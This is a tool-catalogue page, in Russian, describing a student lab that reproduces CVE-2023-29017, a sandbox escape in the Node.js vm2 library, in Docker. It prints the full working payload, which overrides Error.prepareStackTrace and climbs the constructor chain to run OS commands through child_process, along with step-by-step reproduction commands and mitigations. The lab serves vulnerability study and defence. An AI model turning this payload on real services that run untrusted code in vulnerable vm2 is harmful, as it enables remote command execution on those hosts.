Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Node_CVE-2023-29017 — Воспроизведение CVE-2023-29017 в Node.js vm2 с Docker Compose и PoC | Kitploit
Инструменты/GitHubGitHub/gunwoo105/node_cve-2023-29017
Безопасность контейнеровАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Воспроизведение CVE-2023-29017 в Node.js vm2 с Docker Compose и PoC

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-29017 | Удалённое выполнение кода через побег из песочницы vm2

[WHS 4-го набора, 31-я группа] — Ким Гону (@gunwoo105)

Краткое описание уязвимости

vm2 — это библиотека-песочница Node.js для выполнения недоверенного JavaScript в ограниченной среде. В штатном режиме код внутри песочницы не должен иметь доступа к чувствительным функциям Node.js, таким как process, require, child_process, а также к файловой системе хоста.

Однако в vm2 версии 3.9.14 и ниже при возникновении необработанной асинхронной ошибки объект хоста, передаваемый в Error.prepareStackTrace, обрабатывается небезопасно. Атакующий может воспользоваться цепочкой конструкторов этого объекта, чтобы получить конструктор Function и объект process в контексте хоста и в конечном счёте выполнить команды операционной системы через child_process.

Настройка окружения

Компоненты

Вместо готового уязвимого образа образ собирается напрямую из официального базового образа Node.js и исходного кода, включённого в репозиторий. В Dockerfile проверяются версии Node.js и vm2; если версии не совпадают с ожидаемыми, сборка завершается ошибкой.

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

Причина запуска worker.js в отдельном процессе в том, что PoC вызывает необработанную асинхронную ошибку. Даже если worker-процесс завершится в ходе атаки, веб-сервер продолжит работать, а успех можно надёжно проверить по маркерному файлу.

Условия уязвимости

Должны быть выполнены все следующие условия.

  1. Приложение использует vm2 3.9.14 или более раннюю версию.
  2. Атакующий может контролировать входной JavaScript, который будет выполнен.
  3. Этот JavaScript выполняется внутри vm2.
  4. Разрешено асинхронное выполнение JavaScript.
  5. Необработанная асинхронная ошибка достигает уязвимого пути обработки stack trace.
  6. Процесс Node.js, запускающий vm2, имеет права на выполнение команд операционной системы или доступ к файлам.

Не все сервисы, где установлен vm2, автоматически подвержены удалённой атаке. Необходимо наличие функциональности, выполняющей контролируемый атакующим код в vm2. Эндпоинт /execute в этом практикуме реализует данный сценарий использования в минимальном виде.

Схема атаки выглядит следующим образом.

root@kitploit:~
악성 JavaScript 전달
        │
        ▼
처리되지 않은 비동기 오류 발생
        │
        ▼
Error.prepareStackTrace 호출
        │
        ▼
호스트 frames 객체 노출
        │
        ▼
호스트 Function 생성자 획득
        │
        ▼
process → require → child_process
        │
        ▼
컨테이너 내부 OS 명령 실행

Процедура воспроизведения

Сборка образа

root@kitploit:~
docker compose build --no-cache

Успешная сборка образа

Запуск уязвимого сервиса

root@kitploit:~
docker compose up -d vulnerable

Проверьте состояние контейнера.

root@kitploit:~
docker compose ps

Проверка состояния сервиса и версий

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Проверка состояния сервиса и версий

Запуск PoC

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

PoC автоматически проверяет следующие пункты.

  1. Healthcheck уязвимого сервиса
  2. Версии Node.js и vm2
  3. Выполнение обычного JavaScript 21 * 2
  4. Проверка того, что маркерный файл не создаётся при выполнении обычного кода
  5. Передача payload CVE-2023-29017
  6. Проверка факта создания /tmp/vm2-pwned
  7. Проверка наличия uid= в содержимом файла
  8. Возврат кода завершения 0 при успехе и 1 при неудаче

Чтобы выполнить всё одним разом — от сборки до PoC — используйте следующую команду.

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Проверка файла-доказательства

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Завершение работы окружения

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. Код PoC

Полный PoC находится в файле poc/poc.js. Основная полезная нагрузка (payload) выглядит следующим образом.

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Как работает код

Переопределение Error.prepareStackTrace

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

Атакующий переопределяет функцию, которая выполняется при формировании stack trace ошибки.

Получение конструктора Function хоста

root@kitploit:~
frames.constructor.constructor

Следуя по цепочке конструкторов объекта frames хоста, раскрытого уязвимым vm2, достигает конструктора Function в контексте хоста.

Получение объекта process хоста

root@kitploit:~
frames.constructor.constructor('return process')();

Создаёт и выполняет функцию, возвращающую process в контексте хоста.

Выполнение команды операционной системы

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Загружает child_process, недоступный внутри песочницы, и выполняет команду Linux id.

Инициирование необработанной асинхронной ошибки

root@kitploit:~
(async () => {}).constructor('return process')();

Заставляет асинхронную функцию ссылаться на process, недоступный в песочнице, создавая отклонённый Promise (rejected Promise) и достигая тем самым уязвимого пути обработки stack trace.

Результаты выполнения

Контрольная группа (обычный код)

Обычный JavaScript выполняется внутри vm2 и возвращает 42, но не создаёт доказательств выполнения команд операционной системы.

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Эксплуатация уязвимости

При передаче вредоносной нагрузки (payload) происходит побег из песочницы vm2, и внутри контейнера с правами уязвимого процесса Node.js выполняется команда id.

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

PoC повторно проверяет сохранённое доказательство и возвращает статус успеха.

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

Успешный запуск PoC

При непосредственной проверке файла-доказательства вывод выглядит следующим образом.

Проверка маркерного файла

Маркерный файл удаляется перед каждым запуском и не создаётся на этапе выполнения обычного кода. Таким образом предотвращаются ложные срабатывания из-за результатов предыдущих запусков.

Меры противодействия

Обновление vm2

Обновите до версии, не подверженной уязвимости.

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

Затем обновите lockfile и установите зависимости в зафиксированных версиях.

root@kitploit:~
npm install --package-lock-only
npm ci

Согласно официальному Advisory, отдельных обходных путей (workaround) не предусмотрено, поэтому продолжать использование уязвимой версии не рекомендуется.

Изоляция среды выполнения недоверенного кода

Не выполняйте недоверенный код в том же процессе Node.js, что и приложение. Изолируйте его в отдельном процессе, контейнере или виртуальной машине и уничтожайте окружение после завершения выполнения.

Применение минимальных привилегий

  • Запуск от выделенного пользователя, не являющегося root
  • Применение no-new-privileges
  • Удаление ненужных Linux capability
  • Запрет монтирования Docker socket и каталогов хоста
  • Рассмотрение настройки файловой системы в режиме только для чтения
  • Запрет хранения долгосрочных учётных данных внутри контейнера

Ограничение сети и ресурсов

  • Ограничение доступа контейнера выполнения к внешней сети
  • Минимизация доступа к внутренней административной сети и базам данных
  • Ограничение CPU, памяти, количества процессов и времени выполнения
  • Ограничение размера входных данных и частоты запросов
  • Мониторинг аварийных завершений и повторяющихся вредоносных входных данных

Аутентификация и контроль входных данных

Для функции выполнения кода применяйте строгую аутентификацию и авторизацию, а также не эксплуатируйте API произвольного выполнения кода, открытый для неопределённого круга пользователей. Однако аутентификация является вспомогательной мерой, снижающей поверхность атаки, и не заменяет исправление самой уязвимости.

Скачать инструмент
КомпонентВерсия и настройка
Node.js18.15.0
vm23.9.14
Патч-версия3.9.15
Среда выполненияDocker Compose
Пользователь контейнераnode
Порт сервиса127.0.0.1:3000
Установка пакетовnpm ci + package-lock.json
ФайлНазначение
docker-compose.ymlОпределяет конфигурацию уязвимого сервиса и PoC-контейнеров, а также порядок их запуска
DockerfileСобирает образы уязвимого сервиса и PoC в режиме multi-stage
vulnerable/src/server.jsПредоставляет эндпоинты /health, /execute, /evidence
vulnerable/src/worker.jsВыполняет пользовательский ввод в vm2 в отдельном процессе
poc/poc.jsАвтоматизирует проверку версий, контрольный запуск с обычным кодом, атаку и проверку доказательств
vulnerable/package-lock.jsonФиксирует версии пакетов, включая транзитивные зависимости